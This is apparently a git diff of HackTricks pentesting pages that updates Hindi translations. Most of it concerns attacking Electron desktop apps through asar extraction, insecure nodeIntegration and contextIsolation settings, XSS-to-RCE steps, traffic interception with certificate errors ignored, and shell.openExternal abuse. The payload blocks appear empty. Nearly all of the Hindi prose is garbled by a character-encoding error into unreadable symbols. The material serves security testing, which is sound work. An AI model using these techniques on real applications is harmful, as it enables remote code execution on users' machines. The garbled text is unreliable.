рд╢рд╛рдорд┐рд▓ рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдЦрдирд┐рдХреЛрдВ рдХреЛ рдкреНрд░реЛрддреНрд╕рд╛рд╣рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдЯрд┐рдк рд╣реЛрддреА рд╣реИред рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЕрдзрд┐рдХ рднреБрдЧрддрд╛рди рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдзрд┐рдХрддрдо рд╢реБрд▓реНрдХ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдФрд░ рдЕрддрд┐рд░рд┐рдХреНрдд рд░рд╛рд╢рд┐ рд╡рд╛рдкрд╕ рдХреА рдЬрд╛рддреА рд╣реИред - -## **рд▓реЗрдирджреЗрди рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдирд╛** - -рдПрдереЗрд░рд┐рдпрдо рдореЗрдВ рд▓реЗрдирджреЗрди рдореЗрдВ рдПрдХ рдкреНрд░реЗрд╖рдХ рдФрд░ рдПрдХ рдкреНрд░рд╛рдкреНрддрдХрд░реНрддрд╛ рд╢рд╛рдорд┐рд▓ рд╣реЛрддреЗ рд╣реИрдВ, рдЬреЛ рдпрд╛ рддреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдпрд╛ рд╕реНрдорд╛рд░реНрдЯ рдЕрдиреБрдмрдВрдз рдкрддреЗ рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред рдЗрдиреНрд╣реЗрдВ рдПрдХ рд╢реБрд▓реНрдХ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ рдФрд░ рдЗрдиреНрд╣реЗрдВ рдЦрдирди рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред рд▓реЗрдирджреЗрди рдореЗрдВ рдЖрд╡рд╢реНрдпрдХ рдЬрд╛рдирдХрд╛рд░реА рдореЗрдВ рдкреНрд░рд╛рдкреНрддрдХрд░реНрддрд╛, рдкреНрд░реЗрд╖рдХ рдХрд╛ рд╣рд╕реНрддрд╛рдХреНрд╖рд░, рдореВрд▓реНрдп, рд╡реИрдХрд▓реНрдкрд┐рдХ рдбреЗрдЯрд╛, рдЧреИрд╕ рд╕реАрдорд╛, рдФрд░ рд╢реБрд▓реНрдХ рд╢рд╛рдорд┐рд▓ рд╣реЛрддреЗ рд╣реИрдВред рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ, рдкреНрд░реЗрд╖рдХ рдХрд╛ рдкрддрд╛ рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рд╕реЗ рдирд┐рдХрд╛рд▓рд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд▓реЗрдирджреЗрди рдбреЗрдЯрд╛ рдореЗрдВ рдЗрд╕рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╕рдорд╛рдкреНрдд рд╣реЛ рдЬрд╛рддреА рд╣реИред - -рдпреЗ рдкреНрд░рдерд╛рдПрдБ рдФрд░ рддрдВрддреНрд░ рдЙрди рд╕рднреА рдХреЗ рд▓рд┐рдП рдореМрд▓рд┐рдХ рд╣реИрдВ рдЬреЛ рдЧреЛрдкрдиреАрдпрддрд╛ рдФрд░ рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ рдкреНрд░рд╛рдердорд┐рдХрддрд╛ рджреЗрддреЗ рд╣реБрдП рдХреНрд░рд┐рдкреНрдЯреЛрдХреНрдпреВрд░реЗрдВрд╕реА рдХреЗ рд╕рд╛рде рд╕рдВрд▓рдЧреНрди рд╣реЛрдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВред - -## рд╕рдВрджрд░реНрдн - -- [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake) -- [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/) -- [https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions](https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions) -- [https://ethereum.org/en/developers/docs/transactions/](https://ethereum.org/en/developers/docs/transactions/) -- [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/) -- [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced_address_reuse) - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md index d92a5c4ab..73ee3a621 100644 --- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md +++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md @@ -1,17 +1,17 @@ -# Electron рдбреЗрд╕реНрдХрдЯреЙрдк рдРрдкреНрд╕ +# Electron Desktop Apps {{#include ../../../banners/hacktricks-training.md}} ## рдкрд░рд┐рдЪрдп -Electron рдПрдХ рд╕реНрдерд╛рдиреАрдп backend (with **NodeJS**) рдФрд░ frontend (**Chromium**) рдХреЛ рдЬреЛрдбрд╝рддрд╛ рд╣реИ, рд╣рд╛рд▓рд╛рдВрдХрд┐ рдЗрд╕рдореЗрдВ рдЖрдзреБрдирд┐рдХ рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рдХреЗ рдХреБрдЫ security mechanisms рдХреА рдХрдореА рд╣реЛрддреА рд╣реИред +Electron рд╕реНрдерд╛рдиреАрдп рдмреИрдХрдПрдВрдб (рдЬрд┐рд╕рдореЗрдВ **NodeJS** рд╣реИ) рдФрд░ рдлреНрд░рдВрдЯрдПрдВрдб (**Chromium**) рдХреЛ рдорд┐рд▓рд╛рддрд╛ рд╣реИ, рд╣рд╛рд▓рд╛рдВрдХрд┐ рдЗрд╕рдореЗрдВ рдЖрдзреБрдирд┐рдХ рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рдХреЗ рдХреБрдЫ рд╕реБрд░рдХреНрд╖рд╛ рддрдВрддреНрд░ рдирд╣реАрдВ рд╣реЛрддреЗред -рдЖрдо рддреМрд░ рдкрд░ рдЖрдк electron app рдХрд╛ code `.asar` application рдХреЗ рдЕрдВрджрд░ рдкрд╛рдПрдБрдЧреЗ; code рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЛ рдЗрд╕реЗ extract рдХрд░рдирд╛ рд╣реЛрдЧрд╛: +рдЖрдорддреМрд░ рдкрд░ рдЖрдк Electron рдРрдк рдХрд╛ рдХреЛрдб `.asar` рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рдЕрдВрджрд░ рдкрд╛рдПрдБрдЧреЗ; рдХреЛрдб рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЛ рдЗрд╕реЗ рдПрдХреНрд╕рдЯреНрд░реИрдХреНрдЯ рдХрд░рдирд╛ рд╣реЛрдЧрд╛: ```bash npx asar extract app.asar destfolder #Extract everything npx asar extract-file app.asar main.js #Extract just a file ``` -Electron app рдХреЗ source code рдореЗрдВ, `packet.json` рдХреЗ рдЕрдВрджрд░ рдЖрдк `main.js` рдлрд╝рд╛рдЗрд▓ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд╣рд╛рдБ security configs рд╕реЗрдЯ рд╣реЛрддреЗ рд╣реИрдВред +Electron app рдХреЗ рд╕реНрд░реЛрдд рдХреЛрдб рдореЗрдВ, `packet.json` рдХреЗ рдЕрдВрджрд░ рдЖрдк рдирд┐рд░реНрджрд┐рд╖реНрдЯ `main.js` рдлрд╝рд╛рдЗрд▓ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд╣рд╛рдБ security configs рд╕реЗрдЯ рдХрд┐рдП рдЧрдП рд╣реИрдВред ```json { "name": "standard-notes", @@ -19,12 +19,12 @@ Electron app рдХреЗ source code рдореЗрдВ, `packet.json` рдХреЗ рдЕрдВрджрд░ рдЖ ``` Electron рдореЗрдВ 2 process рдкреНрд░рдХрд╛рд░ рд╣реИрдВ: -- Main Process (NodeJS рддрдХ рдкреВрд░реНрдг рдкрд╣реБрдБрдЪ) +- Main Process (NodeJS рддрдХ рдкреВрд░реНрдг рдкрд╣реБрдБрдЪ рд╣реЛрддреА рд╣реИ) - Renderer Process (рд╕реБрд░рдХреНрд╖рд╛ рдХрд╛рд░рдгреЛрдВ рд╕реЗ NodeJS рдХреА рдкрд╣реБрдБрдЪ рд╕реАрдорд┐рдд рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдП) ![](<../../../images/image (182).png>) -рдПрдХ **renderer process** рдПрдХ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рд╡рд┐рдВрдбреЛ рд╣реЛрдЧрд╛ рдЬреЛ рдПрдХ рдлрд╝рд╛рдЗрд▓ рд▓реЛрдб рдХрд░реЗрдЧрд╛: +рдПрдХ **renderer process** рдПрдХ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рд╡рд┐рдВрдбреЛ рд╣реЛрддреА рд╣реИ рдЬреЛ рдПрдХ рдлрд╝рд╛рдЗрд▓ рд▓реЛрдб рдХрд░рддреА рд╣реИ: ```javascript const { BrowserWindow } = require("electron") let win = new BrowserWindow() @@ -32,18 +32,18 @@ let win = new BrowserWindow() //Open Renderer Process win.loadURL(`file://path/to/index.html`) ``` -main.js рдлрд╝рд╛рдЗрд▓ рдХреЗ рдЕрдВрджрд░ **main process** рдореЗрдВ **renderer process** рдХреА Settings **configured** рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИрдВред рдХреБрдЫ configurations рд╕рд╣реА рддрд░реАрдХреЗ рд╕реЗ рд╕реЗрдЯ рд╣реЛрдиреЗ рдкрд░ рдпрд╣ **Electron application** рдХреЛ RCE рдпрд╛ рдЕрдиреНрдп vulnerabilities рдорд┐рд▓рдиреЗ рд╕реЗ рд░реЛрдХ рд╕рдХрддреА рд╣реИрдВ рдЕрдЧрд░ **settings are correctly configured**ред +main.js рдлрд╝рд╛рдЗрд▓ рдХреЗ рдЕрдВрджрд░ **main process** рдореЗрдВ **renderer process** рдХреА рд╕реЗрдЯрд┐рдВрдЧреНрд╕ **рд╕рдВрд░рдЪрд┐рдд (configured)** рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИрдВред рдХреБрдЫ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди Electron рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ RCE рдпрд╛ рдЕрдиреНрдп рдХрдордЬреЛрд░рд┐рдпреЛрдВ рд╕реЗ рд░реЛрдХ рд╕рдХрддреЗ рд╣реИрдВ рдпрджрд┐ **settings рд╕рд╣реА рддрд░реАрдХреЗ рд╕реЗ configured** рд╣реЛрдВред -Electron application Node apis рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдбрд┐рд╡рд╛рдЗрд╕ рддрдХ рдПрдХреНрд╕реЗрд╕ рдХрд░ рд╕рдХрддреА рд╣реИ, рд╣рд╛рд▓рд╛рдВрдХрд┐ рдЗрд╕реЗ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП configure рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: +Electron рдПрдкреНрд▓рд┐рдХреЗрд╢рди Node apis рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдбрд┐рд╡рд╛рдЗрд╕ рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддрд╛ рд╣реИ рд╣рд╛рд▓рд╛рдВрдХрд┐ рдЗрд╕реЗ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: -- **`nodeIntegration`** - рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ `off` рд╣реЛрддрд╛ рд╣реИред рдЕрдЧрд░ `on` рд╣реИ, рддреЛ рдпрд╣ renderer process рд╕реЗ node features рддрдХ access рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред -- **`contextIsolation`** - рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ `on` рд╣реЛрддрд╛ рд╣реИред рдЕрдЧрд░ `off` рд╣реИ, рддреЛ main рдФрд░ renderer processes isolated рдирд╣реАрдВ рд░рд╣рддреЗред -- **`preload`** - рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ empty рд░рд╣рддрд╛ рд╣реИред -- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ off рд╣реИред рдпрд╣ NodeJS рджреНрд╡рд╛рд░рд╛ рдХрд┐рдП рдЬрд╛ рд╕рдХрдиреЗ рд╡рд╛рд▓реЗ actions рдХреЛ рд╕реАрдорд┐рдд рдХрд░реЗрдЧрд╛ред -- Node Integration in Workers -- **`nodeIntegrationInSubframes`**- рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ `off` рд╣реЛрддрд╛ рд╣реИред -- рдЕрдЧрд░ **`nodeIntegration`** **enabled** рд╣реИ, рддреЛ рдпрд╣ Electron application рдХреЗ рднреАрддрд░ рдЙрди web pages рдореЗрдВ, рдЬреЛ **loaded in iframes** рд╣реИрдВ, **Node.js APIs** рдХреЗ рдЙрдкрдпреЛрдЧ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдЧрд╛ред -- рдЕрдЧрд░ **`nodeIntegration`** **disabled** рд╣реИ, рддреЛ preloads iframe рдореЗрдВ рд▓реЛрдб рд╣реЛрдВрдЧреЗ +- **`nodeIntegration`** - рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ `off` рд╣реИред рдпрджрд┐ `on` рд╣реИ, рддреЛ рдпрд╣ renderer process рд╕реЗ node рдлреАрдЪрд░реНрд╕ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред +- **`contextIsolation`** - рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ `on` рд╣реИред рдпрджрд┐ `off` рд╣реИ, рддреЛ main рдФрд░ renderer processes рдЕрд▓рдЧ рдирд╣реАрдВ рд╣реЛрддреЗред +- **`preload`** - рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рдЦрд╛рд▓реА рд╣реИред +- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ off рд╣реИред рдпрд╣ NodeJS рджреНрд╡рд╛рд░рд╛ рдХреА рдЬрд╛ рд╕рдХрдиреЗ рд╡рд╛рд▓реА рдХрд╛рд░реНрд░рд╡рд╛рдЗрдпреЛрдВ рдХреЛ рд╕реАрдорд┐рдд рдХрд░реЗрдЧрд╛ред +- Workers рдореЗрдВ Node Integration +- **`nodeIntegrationInSubframes`**- рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ `off` рд╣реИред +- рдпрджрд┐ **`nodeIntegration`** **enabled** рд╣реИ, рддреЛ рдпрд╣ Electron рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рдЕрдВрджрд░ iframes рдореЗрдВ рд▓реЛрдб рдХреА рдЧрдИ рд╡реЗрдм рдкреЗрдЬреЛрдВ рдореЗрдВ **Node.js APIs** рдХреЗ рдЙрдкрдпреЛрдЧ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдЧрд╛ред +- рдпрджрд┐ **`nodeIntegration`** **disabled** рд╣реИ, рддреЛ preloads iframe рдореЗрдВ рд▓реЛрдб рд╣реЛрдВрдЧреЗ Example of configuration: ```javascript @@ -71,7 +71,7 @@ spellcheck: true, }, } ``` -рдХреБрдЫ **RCE payloads** рд╕реЗ [here](https://7as.es/electron/nodeIntegration_rce.txt): +рдХреБрдЫ **RCE payloads** [here](https://7as.es/electron/nodeIntegration_rce.txt) рд╕реЗ: ```html Example Payloads (Windows): ``` ### рдЯреНрд░реИрдлрд╝рд┐рдХ рдХреИрдкреНрдЪрд░ рдХрд░реЗрдВ -start-main рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░реЗрдВ рдФрд░ рдХрд┐рд╕реА proxy рдХрд╛ рдЙрдкрдпреЛрдЧ рдЬреЛрдбрд╝реЗрдВ, рдЬреИрд╕реЗ: +start-main configuration рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░реЗрдВ рдФрд░ proxy рдХрд╛ рдЙрдкрдпреЛрдЧ рдЬреЛрдбрд╝реЗрдВ, рдЬреИрд╕реЗ: ```javascript "start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors", ``` ## Electron Local Code Injection -рдпрджрд┐ рдЖрдк рд╕реНрдерд╛рдиреАрдп рд░реВрдк рд╕реЗ рдПрдХ Electron App рдЪрд▓рд╛ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдЖрдк рдЗрд╕реЗ рдордирдорд╛рдирд╛ javascript code рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд░ рд╕рдХреЗрдВред рдпрд╣ рдХреИрд╕реЗ рджреЗрдЦреЗрдВ: +рдпрджрд┐ рдЖрдк рд▓реЛрдХрд▓реА рдХрд┐рд╕реА Electron App рдХреЛ execute рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддреЛ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдЖрдк рдЗрд╕реЗ arbitrary javascript code execute рдХрд░рд╡рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд░ рд╕рдХреЗрдВред рдпрд╣ рдХреИрд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рджреЗрдЦреЗрдВ: {{#ref}} ../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md @@ -111,7 +111,7 @@ start-main рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХ ## RCE: XSS + nodeIntegration -рдпрджрд┐ **nodeIntegration** **on** рдкрд░ рд╕реЗрдЯ рд╣реИ, рддреЛ рдХрд┐рд╕реА рд╡реЗрдм рдкреЗрдЬ рдХрд╛ JavaScript `require()` рдХреЛ рдХреЙрд▓ рдХрд░рдХреЗ рдЖрд╕рд╛рдиреА рд╕реЗ Node.js рдлреАрдЪрд░реНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, Windows рдкрд░ calc application рдЪрд▓рд╛рдиреЗ рдХрд╛ рддрд░реАрдХрд╛ рд╣реИ: +рдпрджрд┐ **nodeIntegration** **on** рдкрд░ рд╕реЗрдЯ рд╣реИ, рддреЛ рдХрд┐рд╕реА рд╡реЗрдм рдкреЗрдЬ рдХреА JavaScript рдмрд╕ `require()` рдХреЙрд▓ рдХрд░рдХреЗ рдЖрд╕рд╛рдиреА рд╕реЗ Node.js рд╕реБрд╡рд┐рдзрд╛рдУрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреА рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, Windows рдкрд░ calc application рдХреЛ execute рдХрд░рдиреЗ рдХрд╛ рддрд░реАрдХрд╛ рд╣реИ: ```html ``` -> [!NOTE] > **рдпрджрд┐ `contextIsolation` рдЪрд╛рд▓реВ рд╣реИ, рддреЛ рдпрд╣ рдХрд╛рдо рдирд╣реАрдВ рдХрд░реЗрдЧрд╛** +> [!NOTE] > **рдпрджрд┐ `contextIsolation` рдЪрд╛рд▓реВ рд╣реИ, рдпрд╣ рдХрд╛рдо рдирд╣реАрдВ рдХрд░реЗрдЧрд╛** ## RCE: XSS + contextIsolation -The _**contextIsolation**_ рд╡реЗрдм рдкреЗрдЬ рд╕реНрдХреНрд░рд┐рдкреНрдЯреНрд╕ рдФрд░ JavaScript Electron рдХреЗ рдЖрдВрддрд░рд┐рдХ рдХреЛрдб рдХреЗ рдмреАрдЪ **рдЕрд▓рдЧ рдХрд┐рдП рдЧрдП contexts** рдкреНрд░рд╕реНрддреБрдд рдХрд░рддрд╛ рд╣реИ рддрд╛рдХрд┐ рд╣рд░ рдХреЛрдб рдХрд╛ JavaScript execution рдПрдХ рджреВрд╕рд░реЗ рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рди рдХрд░реЗред рдпрд╣ RCE рдХреА рд╕рдВрднрд╛рд╡рдирд╛ рдХреЛ рдЦрддреНрдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдЖрд╡рд╢реНрдпрдХ рдлреАрдЪрд░ рд╣реИред +The _**contextIsolation**_ рд╡реЗрдм рдкреЗрдЬ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдФрд░ JavaScript Electron рдХреЗ internal code рдХреЗ рдмреАрдЪ **рдЕрд▓рдЧ-рдЕрд▓рдЧ contexts** рдмрдирд╛рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдкреНрд░рддреНрдпреЗрдХ рдХреЛрдб рдХрд╛ JavaScript рдирд┐рд╖реНрдкрд╛рджрди рдПрдХ рджреВрд╕рд░реЗ рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рди рдХрд░реЗред рдпрд╣ RCE рдХреА рд╕рдВрднрд╛рд╡рдирд╛ рдХреЛ рдЦрддреНрдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдЖрд╡рд╢реНрдпрдХ рдлрд╝реАрдЪрд░ рд╣реИред -If the contexts aren't isolated an attacker can: +рдпрджрд┐ contexts рдЕрд▓рдЧ-рдерд▓рдЧ рдирд╣реАрдВ рд╣реИрдВ, рддреЛ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХрд░ рд╕рдХрддрд╛ рд╣реИ: -1. **arbitrary JavaScript in renderer** рдЪрд▓рд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ (XSS рдпрд╛ рдмрд╛рд╣рд░реА рд╕рд╛рдЗрдЯреЛрдВ рдкрд░ рдиреЗрд╡рд┐рдЧреЗрд╢рди) -2. **Overwrite the built-in method** рдЬрд┐рд╕рдХрд╛ рдЗрд╕реНрддреЗрдорд╛рд▓ preload рдпрд╛ Electron рдХреЗ рдЖрдВрддрд░рд┐рдХ рдХреЛрдб рдореЗрдВ рд╣реЛрддрд╛ рд╣реИ рддрд╛рдХрд┐ рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдирд┐рдпрдВрддреНрд░рдг рд╣рд╛рд╕рд┐рд▓ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ -3. **Trigger** рдХрд░реЗрдВ **overwritten function** рдХреЗ рдЙрдкрдпреЛрдЧ рдХреЛ +1. renderer рдореЗрдВ рдордирдорд╛рдирд╛ JavaScript рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ (XSS рдпрд╛ рдмрд╛рд╣рд░реА рд╕рд╛рдЗрдЯреЛрдВ рдкрд░ рдиреЗрд╡рд┐рдЧреЗрд╢рди) +2. preload рдпрд╛ Electron internal code рдореЗрдВ рдЙрдкрдпреЛрдЧ рд╣реЛрдиреЗ рд╡рд╛рд▓реА built-in method рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рдХреЗ рдЙрд╕реЗ рдЕрдкрдирд╛ function рдмрдирд╛ рджреЗрдВ +3. **рдЯреНрд░рд┐рдЧрд░** рдХрд░реЗрдВ **рдУрд╡рд░рд░рд╛рдЗрдЯ рдХреА рдЧрдИ function** рдХреЗ рдЙрдкрдпреЛрдЧ рдХреЛ 4. RCE? There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code: @@ -178,24 +178,24 @@ electron-contextisolation-rce-via-electron-internal-code.md electron-contextisolation-rce-via-ipc.md {{#endref}} -### рдХреНрд▓рд┐рдХ рдЗрд╡реЗрдВрдЯ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдирд╛ +### рдХреНрд▓рд┐рдХ рдЗрд╡реЗрдВрдЯ рдмрд╛рдпрдкрд╛рд╕ -рдпрджрд┐ рдХрд┐рд╕реА рд▓рд┐рдВрдХ рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░рдиреЗ рдкрд░ рдкреНрд░рддрд┐рдмрдВрдз рд▓рд╛рдЧреВ рд╣реЛрддреЗ рд╣реИрдВ рддреЛ рдЖрдк рдЙрдиреНрд╣реЗрдВ рдирд┐рдпрдорд┐рдд left click рдХреА рдмрдЬрд╛рдп **middle click** рдХрд░рдХреЗ рдмрд╛рдпрдкрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ +рдпрджрд┐ рдХрд┐рд╕реА рд▓рд┐рдВрдХ рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░рдиреЗ рдкрд░ рдкреНрд░рддрд┐рдмрдВрдз рд▓рд╛рдЧреВ рд╣реИрдВ, рддреЛ рдЖрдк рдЙрдиреНрд╣реЗрдВ рд╕рд╛рдорд╛рдиреНрдп рдмрд╛рдПрдБ рдХреНрд▓рд┐рдХ рдХреЗ рдмрдЬрд╛рдп **рдорд┐рдбрд▓ рдХреНрд▓рд┐рдХ** рдХрд░рдХреЗ рдмрд╛рдпрдкрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред ```javascript window.addEventListener('click', (e) => { ``` -## RCE via shell.openExternal +## RCE рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ shell.openExternal рдЗрди рдЙрджрд╛рд╣рд░рдгреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рджреЗрдЦреЗрдВ [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) рдФрд░ [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/) -Electron рдбреЗрд╕реНрдХрдЯреЙрдк рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рдбрд┐рдкреНрд▓реЙрдп рдХрд░рддреЗ рд╕рдордп, `nodeIntegration` рдФрд░ `contextIsolation` рдХреЗ рд╕рд╣реА рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдирд╛ рдмрд╣реБрдд рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИред рдпреЗ рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рд╣реЛрдиреЗ рдкрд░, main process рд╕реЗ preload scripts рдпрд╛ Electron рдХреЗ native code рдХреЛ рд▓рдХреНрд╖рд┐рдд рдХрд░рдиреЗ рд╡рд╛рд▓реЗ **client-side remote code execution (RCE)** рдХреЛ рдкреНрд░рднрд╛рд╡реА рдврдВрдЧ рд╕реЗ рд░реЛрдХрд╛ рдЬрд╛рддрд╛ рд╣реИред +рдЬрдм рдХрд┐рд╕реА Electron desktop application рдХреЛ deploy рдХрд░рддреЗ рд╕рдордп, `nodeIntegration` рдФрд░ `contextIsolation` рдХреА рд╕рд╣реА рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдирд╛ рдмреЗрд╣рдж рдЬрд░реВрд░реА рд╣реЛрддрд╛ рд╣реИред рдпрд╣ рд╕реНрдерд╛рдкрд┐рдд рд╣реИ рдХрд┐ **client-side remote code execution (RCE)** рдЬреЛ preload scripts рдпрд╛ main process рд╕реЗ Electron's native code рдХреЛ рд▓рдХреНрд╖рд┐рдд рдХрд░рддреА рд╣реИ, рдЗрди рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдХреЗ рд╣реЛрдиреЗ рдкрд░ рдкреНрд░рднрд╛рд╡реА рд░реВрдк рд╕реЗ рд░реЛрдХреА рдЬрд╛рддреА рд╣реИред -рдХрд┐рд╕реА user рджреНрд╡рд╛рд░рд╛ links рдХреЗ рд╕рд╛рде рдЗрдВрдЯрд░реИрдХреНрдЯ рдХрд░рдиреЗ рдпрд╛ new windows рдЦреЛрд▓рдиреЗ рдкрд░, рд╡рд┐рд╢рд┐рд╖реНрдЯ event listeners рдЯреНрд░рд┐рдЧрд░ рд╣реЛрддреЗ рд╣реИрдВ, рдЬреЛ application's security рдФрд░ functionality рдХреЗ рд▓рд┐рдП рдорд╣рддреНрд╡рдкреВрд░реНрдг 